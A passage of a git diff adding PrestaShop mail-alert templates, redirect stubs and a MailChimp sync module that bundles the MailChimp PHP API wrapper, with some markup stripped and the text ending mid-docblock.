        \ No newline at end of file diff --git a/modules/mailalerts/views/templates/hook/index.php b/modules/mailalerts/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/views/templates/hook/my-account.tpl b/modules/mailalerts/views/templates/hook/my-account.tpl new file mode 100755 index 0000000..4c33c96 --- /dev/null +++ b/modules/mailalerts/views/templates/hook/my-account.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • + + + {l s='My alerts' mod='mailalerts'} + +
      • diff --git a/modules/mailalerts/views/templates/hook/product.tpl b/modules/mailalerts/views/templates/hook/product.tpl new file mode 100755 index 0000000..db5e09e --- /dev/null +++ b/modules/mailalerts/views/templates/hook/product.tpl @@ -0,0 +1,96 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if isset($email) AND $email} +
        +{/if} +{l s='Notify me when available' mod='mailalerts'} + + diff --git a/modules/mailalerts/views/templates/index.php b/modules/mailalerts/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailchimpsync/controllers/front/index.php b/modules/mailchimpsync/controllers/front/index.php new file mode 100755 index 0000000..a0ff790 --- /dev/null +++ b/modules/mailchimpsync/controllers/front/index.php @@ -0,0 +1,10 @@ +module->confirmEvent()) + die('1'); + else + die('0'); + } +} diff --git a/modules/mailchimpsync/controllers/index.php b/modules/mailchimpsync/controllers/index.php new file mode 100755 index 0000000..a0ff790 --- /dev/null +++ b/modules/mailchimpsync/controllers/index.php @@ -0,0 +1,10 @@ + "Mailchimp_ValidationError", + "ServerError_MethodUnknown" => "Mailchimp_ServerError_MethodUnknown", + "ServerError_InvalidParameters" => "Mailchimp_ServerError_InvalidParameters", + "Unknown_Exception" => "Mailchimp_Unknown_Exception", + "Request_TimedOut" => "Mailchimp_Request_TimedOut", + "Zend_Uri_Exception" => "Mailchimp_Zend_Uri_Exception", + "PDOException" => "Mailchimp_PDOException", + "Avesta_Db_Exception" => "Mailchimp_Avesta_Db_Exception", + "XML_RPC2_Exception" => "Mailchimp_XML_RPC2_Exception", + "XML_RPC2_FaultException" => "Mailchimp_XML_RPC2_FaultException", + "Too_Many_Connections" => "Mailchimp_Too_Many_Connections", + "Parse_Exception" => "Mailchimp_Parse_Exception", + "User_Unknown" => "Mailchimp_User_Unknown", + "User_Disabled" => "Mailchimp_User_Disabled", + "User_DoesNotExist" => "Mailchimp_User_DoesNotExist", + "User_NotApproved" => "Mailchimp_User_NotApproved", + "Invalid_ApiKey" => "Mailchimp_Invalid_ApiKey", + "User_UnderMaintenance" => "Mailchimp_User_UnderMaintenance", + "Invalid_AppKey" => "Mailchimp_Invalid_AppKey", + "Invalid_IP" => "Mailchimp_Invalid_IP", + "User_DoesExist" => "Mailchimp_User_DoesExist", + "User_InvalidRole" => "Mailchimp_User_InvalidRole", + "User_InvalidAction" => "Mailchimp_User_InvalidAction", + "User_MissingEmail" => "Mailchimp_User_MissingEmail", + "User_CannotSendCampaign" => "Mailchimp_User_CannotSendCampaign", + "User_MissingModuleOutbox" => "Mailchimp_User_MissingModuleOutbox", + "User_ModuleAlreadyPurchased" => "Mailchimp_User_ModuleAlreadyPurchased", + "User_ModuleNotPurchased" => "Mailchimp_User_ModuleNotPurchased", + "User_NotEnoughCredit" => "Mailchimp_User_NotEnoughCredit", + "MC_InvalidPayment" => "Mailchimp_MC_InvalidPayment", + "List_DoesNotExist" => "Mailchimp_List_DoesNotExist", + "List_InvalidInterestFieldType" => "Mailchimp_List_InvalidInterestFieldType", + "List_InvalidOption" => "Mailchimp_List_InvalidOption", + "List_InvalidUnsubMember" => "Mailchimp_List_InvalidUnsubMember", + "List_InvalidBounceMember" => "Mailchimp_List_InvalidBounceMember", + "List_AlreadySubscribed" => "Mailchimp_List_AlreadySubscribed", + "List_NotSubscribed" => "Mailchimp_List_NotSubscribed", + "List_InvalidImport" => "Mailchimp_List_InvalidImport", + "MC_PastedList_Duplicate" => "Mailchimp_MC_PastedList_Duplicate", + "MC_PastedList_InvalidImport" => "Mailchimp_MC_PastedList_InvalidImport", + "Email_AlreadySubscribed" => "Mailchimp_Email_AlreadySubscribed", + "Email_AlreadyUnsubscribed" => "Mailchimp_Email_AlreadyUnsubscribed", + "Email_NotExists" => "Mailchimp_Email_NotExists", + "Email_NotSubscribed" => "Mailchimp_Email_NotSubscribed", + "List_MergeFieldRequired" => "Mailchimp_List_MergeFieldRequired", + "List_CannotRemoveEmailMerge" => "Mailchimp_List_CannotRemoveEmailMerge", + "List_Merge_InvalidMergeID" => "Mailchimp_List_Merge_InvalidMergeID", + "List_TooManyMergeFields" => "Mailchimp_List_TooManyMergeFields", + "List_InvalidMergeField" => "Mailchimp_List_InvalidMergeField", + "List_InvalidInterestGroup" => "Mailchimp_List_InvalidInterestGroup", + "List_TooManyInterestGroups" => "Mailchimp_List_TooManyInterestGroups", + "Campaign_DoesNotExist" => "Mailchimp_Campaign_DoesNotExist", + "Campaign_StatsNotAvailable" => "Mailchimp_Campaign_StatsNotAvailable", + "Campaign_InvalidAbsplit" => "Mailchimp_Campaign_InvalidAbsplit", + "Campaign_InvalidContent" => "Mailchimp_Campaign_InvalidContent", + "Campaign_InvalidOption" => "Mailchimp_Campaign_InvalidOption", + "Campaign_InvalidStatus" => "Mailchimp_Campaign_InvalidStatus", + "Campaign_NotSaved" => "Mailchimp_Campaign_NotSaved", + "Campaign_InvalidSegment" => "Mailchimp_Campaign_InvalidSegment", + "Campaign_InvalidRss" => "Mailchimp_Campaign_InvalidRss", + "Campaign_InvalidAuto" => "Mailchimp_Campaign_InvalidAuto", + "MC_ContentImport_InvalidArchive" => "Mailchimp_MC_ContentImport_InvalidArchive", + "Campaign_BounceMissing" => "Mailchimp_Campaign_BounceMissing", + "Campaign_InvalidTemplate" => "Mailchimp_Campaign_InvalidTemplate", + "Invalid_EcommOrder" => "Mailchimp_Invalid_EcommOrder", + "Absplit_UnknownError" => "Mailchimp_Absplit_UnknownError", + "Absplit_UnknownSplitTest" => "Mailchimp_Absplit_UnknownSplitTest", + "Absplit_UnknownTestType" => "Mailchimp_Absplit_UnknownTestType", + "Absplit_UnknownWaitUnit" => "Mailchimp_Absplit_UnknownWaitUnit", + "Absplit_UnknownWinnerType" => "Mailchimp_Absplit_UnknownWinnerType", + "Absplit_WinnerNotSelected" => "Mailchimp_Absplit_WinnerNotSelected", + "Invalid_Analytics" => "Mailchimp_Invalid_Analytics", + "Invalid_DateTime" => "Mailchimp_Invalid_DateTime", + "Invalid_Email" => "Mailchimp_Invalid_Email", + "Invalid_SendType" => "Mailchimp_Invalid_SendType", + "Invalid_Template" => "Mailchimp_Invalid_Template", + "Invalid_TrackingOptions" => "Mailchimp_Invalid_TrackingOptions", + "Invalid_Options" => "Mailchimp_Invalid_Options", + "Invalid_Folder" => "Mailchimp_Invalid_Folder", + "Invalid_URL" => "Mailchimp_Invalid_URL", + "Module_Unknown" => "Mailchimp_Module_Unknown", + "MonthlyPlan_Unknown" => "Mailchimp_MonthlyPlan_Unknown", + "Order_TypeUnknown" => "Mailchimp_Order_TypeUnknown", + "Invalid_PagingLimit" => "Mailchimp_Invalid_PagingLimit", + "Invalid_PagingStart" => "Mailchimp_Invalid_PagingStart", + "Max_Size_Reached" => "Mailchimp_Max_Size_Reached", + "MC_SearchException" => "Mailchimp_MC_SearchException", + "Goal_SaveFailed" => "Mailchimp_Goal_SaveFailed", + "Conversation_DoesNotExist" => "Mailchimp_Conversation_DoesNotExist", + "Conversation_ReplySaveFailed" => "Mailchimp_Conversation_ReplySaveFailed", + "File_Not_Found_Exception" => "Mailchimp_File_Not_Found_Exception", + "Folder_Not_Found_Exception" => "Mailchimp_Folder_Not_Found_Exception", + "Folder_Exists_Exception" => "Mailchimp_Folder_Exists_Exception" + ); + + public function __construct($apikey=null, $opts=array()) { + if (!$apikey) { + $apikey = getenv('MAILCHIMP_APIKEY'); + } + + if (!$apikey) { + $apikey = $this->readConfigs(); + } + + if (!$apikey) { + throw new Mailchimp_Error('You must provide a MailChimp API key'); + } + + $this->apikey = $apikey; + $dc = "us1"; + + if (strstr($this->apikey, "-")){ + list($key, $dc) = explode("-", $this->apikey, 2); + if (!$dc) { + $dc = "us1"; + } + } + + $this->root = str_replace('https://api', 'https://' . $dc . '.api', $this->root); + $this->root = rtrim($this->root, '/') . '/'; + + if (!isset($opts['timeout']) || !is_int($opts['timeout'])){ + $opts['timeout'] = 600; + } + if (isset($opts['debug'])){ + $this->debug = true; + } + if (isset($opts['ssl_verifypeer'])){ + $this->ssl_verifypeer = $opts['ssl_verifypeer']; + } + if (isset($opts['ssl_verifyhost'])){ + $this->ssl_verifyhost = $opts['ssl_verifyhost']; + } + if (isset($opts['ssl_cainfo'])){ + $this->ssl_cainfo = $opts['ssl_cainfo']; + } + + + $this->ch = curl_init(); + + if (isset($opts['CURLOPT_FOLLOWLOCATION']) && $opts['CURLOPT_FOLLOWLOCATION'] === true) { + curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, true); + } + + curl_setopt($this->ch, CURLOPT_USERAGENT, 'MailChimp-PHP/2.0.6'); + curl_setopt($this->ch, CURLOPT_POST, true); + curl_setopt($this->ch, CURLOPT_HEADER, false); + curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, 30); + curl_setopt($this->ch, CURLOPT_TIMEOUT, $opts['timeout']); + + + $this->folders = new Mailchimp_Folders($this); + $this->templates = new Mailchimp_Templates($this); + $this->users = new Mailchimp_Users($this); + $this->helper = new Mailchimp_Helper($this); + $this->mobile = new Mailchimp_Mobile($this); + $this->conversations = new Mailchimp_Conversations($this); + $this->ecomm = new Mailchimp_Ecomm($this); + $this->neapolitan = new Mailchimp_Neapolitan($this); + $this->lists = new Mailchimp_Lists($this); + $this->campaigns = new Mailchimp_Campaigns($this); + $this->vip = new Mailchimp_Vip($this); + $this->reports = new Mailchimp_Reports($this); + $this->gallery = new Mailchimp_Gallery($this); + $this->goal = new Mailchimp_Goal($this); + } + + public function __destruct() { + if(is_resource($this->ch)) { + curl_close($this->ch); + } + } + + public function call($url, $params) { + $params['apikey'] = $this->apikey; + + $params = json_encode($params); + $ch = $this->ch; + + curl_setopt($ch, CURLOPT_URL, $this->root . $url . '.json'); + curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); + curl_setopt($ch, CURLOPT_POSTFIELDS, $params); + curl_setopt($ch, CURLOPT_VERBOSE, $this->debug); + // SSL Options + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, $this->ssl_verifyhost); + if ($this->ssl_cainfo) curl_setopt($ch, CURLOPT_CAINFO, $this->ssl_cainfo); + + + $start = microtime(true); + $this->log('Call to ' . $this->root . $url . '.json: ' . $params); + if($this->debug) { + $curl_buffer = fopen('php://memory', 'w+'); + curl_setopt($ch, CURLOPT_STDERR, $curl_buffer); + } + + $response_body = curl_exec($ch); + + $info = curl_getinfo($ch); + $time = microtime(true) - $start; + if($this->debug) { + rewind($curl_buffer); + $this->log(stream_get_contents($curl_buffer)); + fclose($curl_buffer); + } + $this->log('Completed in ' . number_format($time * 1000, 2) . 'ms'); + $this->log('Got response: ' . $response_body); + + if(curl_error($ch)) { + throw new Mailchimp_HttpError("API call to $url failed: " . curl_error($ch)); + } + $result = json_decode($response_body, true); + + if(floor($info['http_code'] / 100) >= 4) { + throw $this->castError($result); + } + + return $result; + } + + public function readConfigs() { + $paths = array('~/.mailchimp.key', '/etc/mailchimp.key'); + foreach($paths as $path) { + if(file_exists($path)) { + $apikey = trim(file_get_contents($path)); + if ($apikey) { + return $apikey; + } + } + } + return false; + } + + public function castError($result) { + if ($result['status'] !== 'error' || !$result['name']) { + throw new Mailchimp_Error('We received an unexpected error: ' . json_encode($result)); + } + + $class = (isset(self::$error_map[$result['name']])) ? self::$error_map[$result['name']] : 'Mailchimp_Error'; + return new $class($result['error'], $result['code']); + } + + public function log($msg) { + if ($this->debug) { + error_log($msg); + } + } +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Campaigns.php b/modules/mailchimpsync/libraries/Mailchimp/Campaigns.php new file mode 100755 index 0000000..95d320d --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Campaigns.php @@ -0,0 +1,383 @@ +master = $master; + } + + /** + * Get the content (both html and text) for a campaign either as it would appear in the campaign archive or as the raw, original content + * @param string $cid + * @param associative_array $options + * - view string optional one of "archive" (default), "preview" (like our popup-preview) or "raw" + * - email associative_array optional if provided, view is "archive" or "preview", the campaign's list still exists, and the requested record is subscribed to the list. the returned content will be populated with member data populated. a struct with one of the following keys - failing to provide anything will produce an error relating to the email address. If multiple keys are provided, the first one from the following list that we find will be used, the rest will be ignored. + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array containing all content for the campaign + * - html string The HTML content used for the campaign with merge tags intact + * - text string The Text content used for the campaign with merge tags intact + */ + public function content($cid, $options=array()) { + $_params = array("cid" => $cid, "options" => $options); + return $this->master->call('campaigns/content', $_params); + } + + /** + * Create a new draft campaign to send. You can not have more than 32,000 campaigns in your account. + * @param string $type + * @param associative_array $options + * - list_id string the list to send this campaign to- get lists using lists/list() + * - subject string the subject line for your campaign message + * - from_email string the From: email address for your campaign message + * - from_name string the From: name for your campaign message (not an email address) + * - to_name string the To: name recipients will see (not email address) + * - template_id int optional - use this user-created template to generate the HTML content of the campaign (takes precendence over other template options) + * - gallery_template_id int optional - use a template from the public gallery to generate the HTML content of the campaign (takes precendence over base template options) + * - base_template_id int optional - use this a base/start-from-scratch template to generate the HTML content of the campaign + * - folder_id int optional - automatically file the new campaign in the folder_id passed. Get using folders/list() - note that Campaigns and Autoresponders have separate folder setups + * - tracking associative_array optional - set which recipient actions will be tracked. Click tracking can not be disabled for Free accounts. + * - opens bool whether to track opens, defaults to true + * - html_clicks bool whether to track clicks in HTML content, defaults to true + * - text_clicks bool whether to track clicks in Text content, defaults to false + * - title string optional - an internal name to use for this campaign. By default, the campaign subject will be used. + * - authenticate boolean optional - set to true to enable SenderID, DomainKeys, and DKIM authentication, defaults to false. + * - analytics associative_array optional - one or more of these keys set to the tag to use - that can be any custom text (up to 50 bytes) + * - google string for Google Analytics tracking + * - clicktale string for ClickTale tracking + * - gooal string for Goal tracking (the extra 'o' in the param name is not a typo) + * - auto_footer boolean optional Whether or not we should auto-generate the footer for your content. Mostly useful for content from URLs or Imports + * - inline_css boolean optional Whether or not css should be automatically inlined when this campaign is sent, defaults to false. + * - generate_text boolean optional Whether of not to auto-generate your Text content from the HTML content. Note that this will be ignored if the Text part of the content passed is not empty, defaults to false. + * - auto_tweet boolean optional If set, this campaign will be auto-tweeted when it is sent - defaults to false. Note that if a Twitter account isn't linked, this will be silently ignored. + * - auto_fb_post array optional If set, this campaign will be auto-posted to the page_ids contained in the array. If a Facebook account isn't linked or the account does not have permission to post to the page_ids requested, those failures will be silently ignored. + * - fb_comments boolean optional If true, the Facebook comments (and thus the archive bar will be displayed. If false, Facebook comments will not be enabled (does not imply no archive bar, see previous link). Defaults to "true". + * - timewarp boolean optional If set, this campaign must be scheduled 24 hours in advance of sending - default to false. Only valid for "regular" campaigns and "absplit" campaigns that split on schedule_time. + * - ecomm360 boolean optional If set, our Ecommerce360 tracking will be enabled for links in the campaign + * - crm_tracking associative_array optional If set, a struct to enable CRM tracking for: + * - salesforce associative_array optional Enable SalesForce push back + * - campaign bool optional - if true, create a Campaign object and update it with aggregate stats + * - notes bool optional - if true, attempt to update Contact notes based on email address + * - highrise associative_array optional Enable Highrise push back + * - campaign bool optional - if true, create a Kase object and update it with aggregate stats + * - notes bool optional - if true, attempt to update Contact notes based on email address + * - capsule associative_array optional Enable Capsule push back (only notes are supported) + * - notes bool optional - if true, attempt to update Contact notes based on email address + * @param associative_array $content + * - html string for raw/pasted HTML content + * - sections associative_array when using a template instead of raw HTML, each key should be the unique mc:edit area name from the template. + * - text string for the plain-text version + * - url string to have us pull in content from a URL. Note, this will override any other content options - for lists with Email Format options, you'll need to turn on generate_text as well + * - archive string to send a Base64 encoded archive file for us to import all media from. Note, this will override any other content options - for lists with Email Format options, you'll need to turn on generate_text as well + * - archive_type string optional - only necessary for the "archive" option. Supported formats are: zip, tar.gz, tar.bz2, tar, tgz, tbz . If not included, we will default to zip + * @param associative_array $segment_opts + * @param associative_array $type_opts + * - rss associative_array For RSS Campaigns this, struct should contain: + * - url string the URL to pull RSS content from - it will be verified and must exist + * - schedule string optional one of "daily", "weekly", "monthly" - defaults to "daily" + * - schedule_hour string optional an hour between 0 and 24 - default to 4 (4am local time) - applies to all schedule types + * - schedule_weekday string optional for "weekly" only, a number specifying the day of the week to send: 0 (Sunday) - 6 (Saturday) - defaults to 1 (Monday) + * - schedule_monthday string optional for "monthly" only, a number specifying the day of the month to send (1 - 28) or "last" for the last day of a given month. Defaults to the 1st day of the month + * - days associative_array optional used for "daily" schedules only, an array of the ISO-8601 weekday numbers to send on + * - 1 bool optional Monday, defaults to true + * - 2 bool optional Tuesday, defaults to true + * - 3 bool optional Wednesday, defaults to true + * - 4 bool optional Thursday, defaults to true + * - 5 bool optional Friday, defaults to true + * - 6 bool optional Saturday, defaults to true + * - 7 bool optional Sunday, defaults to true + * - absplit associative_array For A/B Split campaigns, this struct should contain: + * - split_test string The values to segment based on. Currently, one of: "subject", "from_name", "schedule". NOTE, for "schedule", you will need to call campaigns/schedule() separately! + * - pick_winner string How the winner will be picked, one of: "opens" (by the open_rate), "clicks" (by the click rate), "manual" (you pick manually) + * - wait_units int optional the default time unit to wait before auto-selecting a winner - use "3600" for hours, "86400" for days. Defaults to 86400. + * - wait_time int optional the number of units to wait before auto-selecting a winner - defaults to 1, so if not set, a winner will be selected after 1 Day. + * - split_size int optional this is a percentage of what size the Campaign's List plus any segmentation options results in. "schedule" type forces 50%, all others default to 10% + * - from_name_a string optional sort of, required when split_test is "from_name" + * - from_name_b string optional sort of, required when split_test is "from_name" + * - from_email_a string optional sort of, required when split_test is "from_name" + * - from_email_b string optional sort of, required when split_test is "from_name" + * - subject_a string optional sort of, required when split_test is "subject" + * - subject_b string optional sort of, required when split_test is "subject" + * - auto associative_array For AutoResponder campaigns, this struct should contain: + * - offset-units string one of "hourly", "day", "week", "month", "year" - required + * - offset-time string optional, sort of - the number of units must be a number greater than 0 for signup based autoresponders, ignored for "hourly" + * - offset-dir string either "before" or "after", ignored for "hourly" + * - event string optional "signup" (default) to base this members added to a list, "date", "annual", or "birthday" to base this on merge field in the list, "campaignOpen" or "campaignClicka" to base this on any activity for a campaign, "campaignClicko" to base this on clicks on a specific URL in a campaign, "mergeChanged" to base this on a specific merge field being changed to a specific value + * - event-datemerge string optional sort of, this is required if the event is "date", "annual", "birthday", or "mergeChanged" + * - campaign_id string optional sort of, required for "campaignOpen", "campaignClicka", or "campaignClicko" + * - campaign_url string optional sort of, required for "campaignClicko" + * - schedule_hour int The hour of the day - 24 hour format in GMT - the autoresponder should be triggered, ignored for "hourly" + * - use_import_time boolean whether or not imported subscribers (ie, any non-double optin subscribers) will receive + * - days associative_array optional used for "daily" schedules only, an array of the ISO-8601 weekday numbers to send on< + * - 1 bool optional Monday, defaults to true + * - 2 bool optional Tuesday, defaults to true + * - 3 bool optional Wednesday, defaults to true + * - 4 bool optional Thursday, defaults to true + * - 5 bool optional Friday, defaults to true + * - 6 bool optional Saturday, defaults to true + * - 7 bool optional Sunday, defaults to true + * @return associative_array the new campaign's details - will return same data as single campaign from campaigns/list() + */ + public function create($type, $options, $content, $segment_opts=null, $type_opts=null) { + $_params = array("type" => $type, "options" => $options, "content" => $content, "segment_opts" => $segment_opts, "type_opts" => $type_opts); + return $this->master->call('campaigns/create', $_params); + } + + /** + * Delete a campaign. Seriously, "poof, gone!" - be careful! Seriously, no one can undelete these. + * @param string $cid + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function delete($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/delete', $_params); + } + + /** + * Get the list of campaigns and their details matching the specified filters + * @param associative_array $filters + * - campaign_id string optional - return the campaign using a know campaign_id. Accepts multiples separated by commas when not using exact matching. + * - parent_id string optional - return the child campaigns using a known parent campaign_id. Accepts multiples separated by commas when not using exact matching. + * - list_id string optional - the list to send this campaign to - get lists using lists/list(). Accepts multiples separated by commas when not using exact matching. + * - folder_id int optional - only show campaigns from this folder id - get folders using folders/list(). Accepts multiples separated by commas when not using exact matching. + * - template_id int optional - only show campaigns using this template id - get templates using templates/list(). Accepts multiples separated by commas when not using exact matching. + * - status string optional - return campaigns of a specific status - one of "sent", "save", "paused", "schedule", "sending". Accepts multiples separated by commas when not using exact matching. + * - type string optional - return campaigns of a specific type - one of "regular", "plaintext", "absplit", "rss", "auto". Accepts multiples separated by commas when not using exact matching. + * - from_name string optional - only show campaigns that have this "From Name" + * - from_email string optional - only show campaigns that have this "Reply-to Email" + * - title string optional - only show campaigns that have this title + * - subject string optional - only show campaigns that have this subject + * - sendtime_start string optional - only show campaigns that have been sent since this date/time (in GMT) - - 24 hour format in GMT, eg "2013-12-30 20:30:00" - if this is invalid the whole call fails + * - sendtime_end string optional - only show campaigns that have been sent before this date/time (in GMT) - - 24 hour format in GMT, eg "2013-12-30 20:30:00" - if this is invalid the whole call fails + * - uses_segment boolean - whether to return just campaigns with or without segments + * - exact boolean optional - flag for whether to filter on exact values when filtering, or search within content for filter values - defaults to true. Using this disables the use of any filters that accept multiples. + * @param int $start + * @param int $limit + * @param string $sort_field + * @param string $sort_dir + * @return associative_array containing a count of all matching campaigns, the specific ones for the current page, and any errors from the filters provided + * - total int the total number of campaigns matching the filters passed in + * - data array structs for each campaign being returned + * - id string Campaign Id (used for all other campaign functions) + * - web_id int The Campaign id used in our web app, allows you to create a link directly to it + * - list_id string The List used for this campaign + * - folder_id int The Folder this campaign is in + * - template_id int The Template this campaign uses + * - content_type string How the campaign's content is put together - one of 'template', 'html', 'url' + * - title string Title of the campaign + * - type string The type of campaign this is (regular,plaintext,absplit,rss,inspection,auto) + * - create_time string Creation time for the campaign + * - send_time string Send time for the campaign - also the scheduled time for scheduled campaigns. + * - emails_sent int Number of emails email was sent to + * - status string Status of the given campaign (save,paused,schedule,sending,sent) + * - from_name string From name of the given campaign + * - from_email string Reply-to email of the given campaign + * - subject string Subject of the given campaign + * - to_name string Custom "To:" email string using merge variables + * - archive_url string Archive link for the given campaign + * - inline_css boolean Whether or not the campaign content's css was auto-inlined + * - analytics string Either "google" if enabled or "N" if disabled + * - analytics_tag string The name/tag the campaign's links were tagged with if analytics were enabled. + * - authenticate boolean Whether or not the campaign was authenticated + * - ecomm360 boolean Whether or not ecomm360 tracking was appended to links + * - auto_tweet boolean Whether or not the campaign was auto tweeted after sending + * - auto_fb_post string A comma delimited list of Facebook Profile/Page Ids the campaign was posted to after sending. If not used, blank. + * - auto_footer boolean Whether or not the auto_footer was manually turned on + * - timewarp boolean Whether or not the campaign used Timewarp + * - timewarp_schedule string The time, in GMT, that the Timewarp campaign is being sent. For A/B Split campaigns, this is blank and is instead in their schedule_a and schedule_b in the type_opts array + * - parent_id string the unique id of the parent campaign (currently only valid for rss children). Will be blank for non-rss child campaigns or parent campaign has been deleted. + * - is_child boolean true if this is an RSS child campaign. Will return true even if the parent campaign has been deleted. + * - tests_sent string tests sent + * - tests_remain int test sends remaining + * - tracking associative_array the various tracking options used + * - html_clicks boolean whether or not tracking for html clicks was enabled. + * - text_clicks boolean whether or not tracking for text clicks was enabled. + * - opens boolean whether or not opens tracking was enabled. + * - segment_text string a string marked-up with HTML explaining the segment used for the campaign in plain English + * - segment_opts array the segment used for the campaign - can be passed to campaigns/segment-test or campaigns/create() + * - saved_segment associative_array if a saved segment was used (match+conditions returned above): + * - id int the saved segment id + * - type string the saved segment type + * - name string the saved segment name + * - type_opts associative_array the type-specific options for the campaign - can be passed to campaigns/create() + * - comments_total int total number of comments left on this campaign + * - comments_unread int total number of unread comments for this campaign based on the login the apikey belongs to + * - summary associative_array if available, the basic aggregate stats returned by reports/summary + * - social_card associative_array If a social card has been attached to this campaign: + * - title string The title of the campaign used with the card + * - description string The description used with the card + * - image_url string The URL of the image used with the card + * - enabled string Whether or not the social card is enabled for this campaign. + * - errors array structs of any errors found while loading lists - usually just from providing invalid list ids + * - filter string the filter that caused the failure + * - value string the filter value that caused the failure + * - code int the error code + * - error string the error message + */ + public function getList($filters=array(), $start=0, $limit=25, $sort_field='create_time', $sort_dir='DESC') { + $_params = array("filters" => $filters, "start" => $start, "limit" => $limit, "sort_field" => $sort_field, "sort_dir" => $sort_dir); + return $this->master->call('campaigns/list', $_params); + } + + /** + * Pause an AutoResponder or RSS campaign from sending + * @param string $cid + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function pause($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/pause', $_params); + } + + /** + * Returns information on whether a campaign is ready to send and possible issues we may have detected with it - very similar to the confirmation step in the app. + * @param string $cid + * @return associative_array containing: + * - is_ready bool whether or not you're going to be able to send this campaign + * - items array an array of structs explaining basically what the app's confirmation step would + * - type string the item type - generally success, warning, or error + * - heading string the item's heading in the app + * - details string the item's details from the app, sans any html tags/links + */ + public function ready($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/ready', $_params); + } + + /** + * Replicate a campaign. + * @param string $cid + * @return associative_array the matching campaign's details - will return same data as single campaign from campaigns/list() + */ + public function replicate($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/replicate', $_params); + } + + /** + * Resume sending an AutoResponder or RSS campaign + * @param string $cid + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function resume($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/resume', $_params); + } + + /** + * Schedule a campaign to be sent in the future + * @param string $cid + * @param string $schedule_time + * @param string $schedule_time_b + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function schedule($cid, $schedule_time, $schedule_time_b=null) { + $_params = array("cid" => $cid, "schedule_time" => $schedule_time, "schedule_time_b" => $schedule_time_b); + return $this->master->call('campaigns/schedule', $_params); + } + + /** + * Schedule a campaign to be sent in batches sometime in the future. Only valid for "regular" campaigns + * @param string $cid + * @param string $schedule_time + * @param int $num_batches + * @param int $stagger_mins + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function scheduleBatch($cid, $schedule_time, $num_batches=2, $stagger_mins=5) { + $_params = array("cid" => $cid, "schedule_time" => $schedule_time, "num_batches" => $num_batches, "stagger_mins" => $stagger_mins); + return $this->master->call('campaigns/schedule-batch', $_params); + } + + /** + * Allows one to test their segmentation rules before creating a campaign using them. + * @param string $list_id + * @param associative_array $options + * - saved_segment_id string a saved segment id from lists/segments() - this will take 